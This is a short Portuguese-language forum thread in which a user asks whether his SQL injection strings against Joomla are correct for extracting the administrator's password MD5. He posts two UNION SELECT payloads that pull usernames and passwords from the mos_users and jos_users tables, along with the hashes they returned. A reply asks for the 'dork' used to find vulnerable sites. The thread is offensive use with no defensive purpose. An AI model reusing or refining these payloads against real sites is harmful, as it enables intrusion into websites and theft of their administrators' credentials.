joolma SQL injection

[kabum]

E ae pessoal ,
Preciso de uma ajuda nessas strings de sql injection.Esses comandos de SQL injection , esta correto para export MD5 ? São estranhos esses possiveis MD5. diz ser do admin.Alguém pode me dar uma ajuda ? Alguem ja mexeu com sql injection joomla ?
334455/**/union/**/select/**/null,null,concat(password,0x3a),nul
l,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,nul
l,concat(0x3a,username)/**/from/**/mos_users/*
MD5=9789bf30572f789579e8b0b7bc867437

20union%20select%200,0,concat(char(117,115,101,114,110,97,109,101,58
),username,char(32,112,97,115,115,119,111,114,100,58),password),4,5,6,7,8,9,00,0
,444,555,0,777,0,999,0,0,0,0,0,0,0%20from%20jos_users/*
MD5=2a1192a711bbbce4ca8f320d2981e934

[isaah™]

passa o dork aew